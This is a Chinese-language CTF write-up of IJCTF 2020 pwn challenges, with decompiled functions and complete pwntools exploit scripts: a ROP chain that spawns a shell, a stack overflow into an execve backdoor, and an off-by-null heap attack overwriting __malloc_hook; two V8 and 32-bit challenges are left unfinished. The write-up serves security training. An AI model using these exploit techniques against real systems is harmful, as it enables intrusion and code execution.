【WriteUp】IJCTF 2020 -- Pwn 题解

Admin

Description:

This admin thinks his system is very safe Is it actually safe? I say it's safe what do you think?

nc 35.186.153.116 7002

Challenge file :https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/admin

Author: zilikos

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序去符号化了,凭借经验补补函数,能得到如下的 main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [rsp+0h] [rbp-40h]

  puts("Username: ");
  gets(&v4);
  if ( strcmp(&v4, "admin") )
    result = printf("Bye %s\n");
  else
    result = puts("Welcome admin");
  return result;
}

直接 ropchain 了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('35.186.153.116', 7002)

pd = 'a' * 0x48
pd += p64(0x0000000000410193) # pop rsi ; ret
pd += p64(0x00000000006b90e0) # @ .data
pd += p64(0x0000000000415544) # pop rax ; ret
pd += '/bin//sh'
pd += p64(0x000000000047f321) # mov qword ptr [rsi], rax ; ret
pd += p64(0x0000000000410193) # pop rsi ; ret
pd += p64(0x00000000006b90e8) # @ .data + 8
pd += p64(0x0000000000444aa0) # xor rax, rax ; ret
pd += p64(0x000000000047f321) # mov qword ptr [rsi], rax ; ret
pd += p64(0x0000000000400686) # pop rdi ; ret
pd += p64(0x00000000006b90e0) # @ .data
pd += p64(0x0000000000410193) # pop rsi ; ret
pd += p64(0x00000000006b90e8) # @ .data + 8
pd += p64(0x0000000000449765) # pop rdx ; ret
pd += p64(0x00000000006b90e8) # @ .data + 8
pd += p64(0x0000000000444aa0) # xor rax, rax ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x0000000000474770) # add rax, 1 ; ret
pd += p64(0x000000000047b4bf) # syscall
p.sendline(pd)
p.interactive()

Flag:

IJCTF{W3lc0m3_4g4in_d34r_AADMMIINN!!!}

testInput Checker

Description:

Finding the best input.

nc 35.186.153.116 5001

Challenge File: https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input

Author: Tux

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  __int64 v4; // rax
  char v6; // [rsp+0h] [rbp-640h]
  char v7[1008]; // [rsp+210h] [rbp-430h]
  int v8; // [rsp+600h] [rbp-40h]
  int v9; // [rsp+604h] [rbp-3Ch]
  int v10; // [rsp+608h] [rbp-38h]
  int v11; // [rsp+60Ch] [rbp-34h]
  int v12; // [rsp+610h] [rbp-30h]
  int v13; // [rsp+61Ch] [rbp-24h]
  __int64 v14; // [rsp+620h] [rbp-20h]
  int j; // [rsp+628h] [rbp-18h]
  int i; // [rsp+62Ch] [rbp-14h]

  v14 = 4LL;
  v3 = sub_401371(8u, 4);
  std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v6, "/dev/urandom", v3);
  for ( i = 0; i <= 4; ++i )
    std::istream::read(&v6, &v8 + 4 * i, v14);
  if ( v8 == v9 && v9 == v10 && v10 == v11 && v11 == v12 )
    execve("/bin/sh", 0LL, 0LL);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input: ");
  for ( j = 0; j <= 0x441; ++j )
  {
    v13 = getchar();
    v7[j] = v13;
  }
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, v7);
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v6);
  return 0LL;
}

很明显有后门和栈溢出,本题的考点在于当数值覆盖到 0x418 的时候

再往后覆盖会把变量 j 也给覆盖掉,就导致程序直接退出循环,之后就无法溢出了

所以我们在变量 j 的偏移上写入 0x418 的值,还原它,就可以正常溢出到后门了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('35.186.153.116', 5001)

# gdb.attach(p, "b *0x401312\nc")
addr_execve = 0x401253

pd = 'a' * 0x418
pd += p32(0x418)
pd = pd.ljust(0x438, 'a')
pd += p64(addr_execve)
pd = pd.ljust(0x442, 'a')
p.send(pd)
p.recv()
p.interactive()

Flag:

IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}

Babyheap

Description:

tIt's just a little baby, so treat it with love.

nc 35.186.153.116 7001

Challenge file : https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/babyheap

Author: zilikos

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

一道 off-by-null 的题,用了 strcpy 函数往堆里写入数据,就导致这题很恶心

main 函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int *v3; // rsi
  unsigned int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0LL;
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. malloc\n2. free\n3. print\n4. exit");
      printf("> ", v3);
      v3 = &v4;
      __isoc99_scanf("%u", &v4);
      if ( v4 != 2 )
        break;
      process(1);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        process(2);
      }
      else
      {
        if ( v4 == 4 )
          exit(0);
LABEL_13:
        puts("invalid choice");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_13;
      create();
    }
  }
}

create 函数如下:

unsigned __int64 create()
{
  size_t nbytes; // [rsp+4h] [rbp-41Ch]
  unsigned int v2; // [rsp+Ch] [rbp-414h]
  char buf[1032]; // [rsp+10h] [rbp-410h]
  unsigned __int64 v4; // [rsp+418h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 10;
  for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) )
  {
    if ( !ptrs[HIDWORD(nbytes)] )
    {
      v2 = HIDWORD(nbytes);
      break;
    }
  }
  if ( v2 == 10 )
  {
    puts("no free slots\n");
  }
  else
  {
    printf("\nusing slot %u\n", v2);
    printf("size: ");
    __isoc99_scanf("%u", &nbytes);
    if ( nbytes <= 0x3FF )
    {
      printf("data: ", &nbytes);
      LODWORD(nbytes) = read(0, buf, nbytes);
      buf[nbytes] = 0;
      ptrs[v2] = malloc(nbytes);
      strcpy(ptrs[v2], buf);
      puts("chunk created\n");
    }
    else
    {
      puts("maximum size exceeded\n");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

这里存在 off-by-null 漏洞

process 函数如下:

unsigned __int64 __fastcall process(int a1)
{
  unsigned int v2; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("idx: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 0xA )
  {
    if ( ptrs[v2] )
    {
      if ( a1 == 1 )
      {
        free(ptrs[v2]);
        ptrs[v2] = 0LL;
        puts("chunk deleted\n");
      }
      else if ( a1 == 2 )
      {
        printf("\ndata: %s\n", ptrs[v2]);
      }
    }
    else
    {
      puts("chunk not existing\n");
    }
  }
  else
  {
    puts("invalid index\n");
  }
  return __readfsqword(0x28u) ^ v3;
}

先分配好特定的堆块:

add(0x108, 'a' * 0x107)  # 要被覆盖到的堆块
# 凑数加用于泄露 libc 的堆块,为了凑出 0x300,因为最后两位只能是 \x00
add(0x158, 'q' * 0x151)
add(0x68, 'q' * 0x61)  # 用于制造 fastbin double free 的堆块
add(0x18, 'q')  # 制造 off-by-null 的堆块,将下面的堆块值修改为 0x100
add(0x1f8, 'a' * 0x1f7)  # 之后在这里写入特殊数据
add(0x68, 'q' * 0x61)  # 用于 fastbin double free 的中间堆块

之后利用输入的数据的最后以为会被覆盖为 0 的这一特性

用如下代码将 0x1f8 大小堆块的 prev_size 位变为 0x300,使其可以追寻到 0x108 大小的堆块

delete(0)
delete(3)
add(0x18, 'a' * 0x18)
for i in range(0, 6):
    delete(0)
    add(0x18, '\x03' * (0x17 - i))
for i in range(7, 9):
    delete(0)
    add(0x18, 'a' * (0x17 - i))

这里 delete(0) 是因为要提前释放要被覆盖到的堆块,不然会有一个堆块认为你是释放一个堆块认为你是使用而报错

接着覆盖成功了就可以获得 libc 了,之后利用 fastbin 的 double free 就可以拿到 __malloc_hook 的地址,从而改写为 one_gadget 来提权了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('35.186.153.116', 7001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


def add(add_size, add_data):
    p.sendlineafter('> ', '1')
    p.sendlineafter('size: ', str(add_size))
    p.sendafter('data: ', add_data)


def delete(delete_idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('idx: ', str(delete_idx))


def show(show_idx):
    p.sendlineafter('> ', '3')
    p.sendlineafter('idx: ', str(show_idx))
    p.recvuntil('data: ')


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

add(0x108, 'a' * 0x107)
add(0x158, 'q' * 0x151)
add(0x68, 'q' * 0x61)
add(0x18, 'q')
add(0x1f8, 'a' * 0x1f7)
add(0x68, 'q' * 0x61)
delete(0)
delete(3)
add(0x18, 'a' * 0x18)
for i in range(0, 6):
    delete(0)
    add(0x18, '\x03' * (0x17 - i))
for i in range(7, 9):
    delete(0)
    add(0x18, 'a' * (0x17 - i))
delete(4)
add(0x108, 'a' * 0x107)
show(1)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

add(0x158, 'a' * 0x151)
add(0x68, 'q' * 0x61)
add(0x218, 'q' * 0x211)

delete(2)
delete(5)
delete(6)

pd = p64(addr___malloc_hook - 0x23)
pd = pd.ljust(0x61, 'a')
add(0x68, pd)

add(0x68, 'a' * 0x61)
add(0x68, 'a' * 0x61)

pd = 'a' * 0x13
pd += p64(addr_one_gadget)
pd = pd.ljust(0x61, '\x00')
add(0x68, pd)
# gdb.attach(p, 'b malloc\nc')
add(0x18, 'a')
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
p.interactive()

Flag:

IJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}

Super Mario(未完)

文件存于:https://quqi.gblhgk.com/s/911627/oHp14hdhYN1d2vgp

Description:

Mia Mario!

nc 35.186.153.116 5002

Challenge file: https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/mario

Author: Tux

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Flag:

动态靶机

Corrupted Maps(未完)

文件存于:https://quqi.gblhgk.com/s/911627/8pCsHN9kjt4Z7q2o

Description:

I hope you love writing N-day exploits, because this is one of the toughest ones yet!

This was a vulnerability used during Tianfu Cup 2019 - CVE-2019-13735

Bug report: https://bugs.chromium.org/p/chromium/issues/detail?id=1025468

Patch commit: https://chromium-review.googlesource.com/c/v8/v8/+/1944154

WARNING: This is an extremely difficult challenge. It will more than likely take you the entire 36 hours to solve.

HINT: There are a couple of different ways to exploit this vulnerability. You will likely be required to make use of both the garbage collector and the JIT compiler. Playing around with the PoC and a debug build is a good way to gain some initial understanding.

nc 35.186.153.116 1337

Flag is located at /home/ctf/flag.txt

Challenge files (exact same as the d8 binary hosted on the server): https://drive.google.com/file/d/1Jg30aUHhV6JXPAnh9mRZjJB8T-PAtrYP/view?usp=sharing

The d8 binary on the server is a release build of commit 28fb79c8f5112219a82f979081941fa33b83ecd6.

Author: Faith

Hint:Here's a PoC that crashes on the release build. You should try to use this to figure out how to get a better primitive (instead of just a crash).

Solution:

Flag:

动态靶机

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注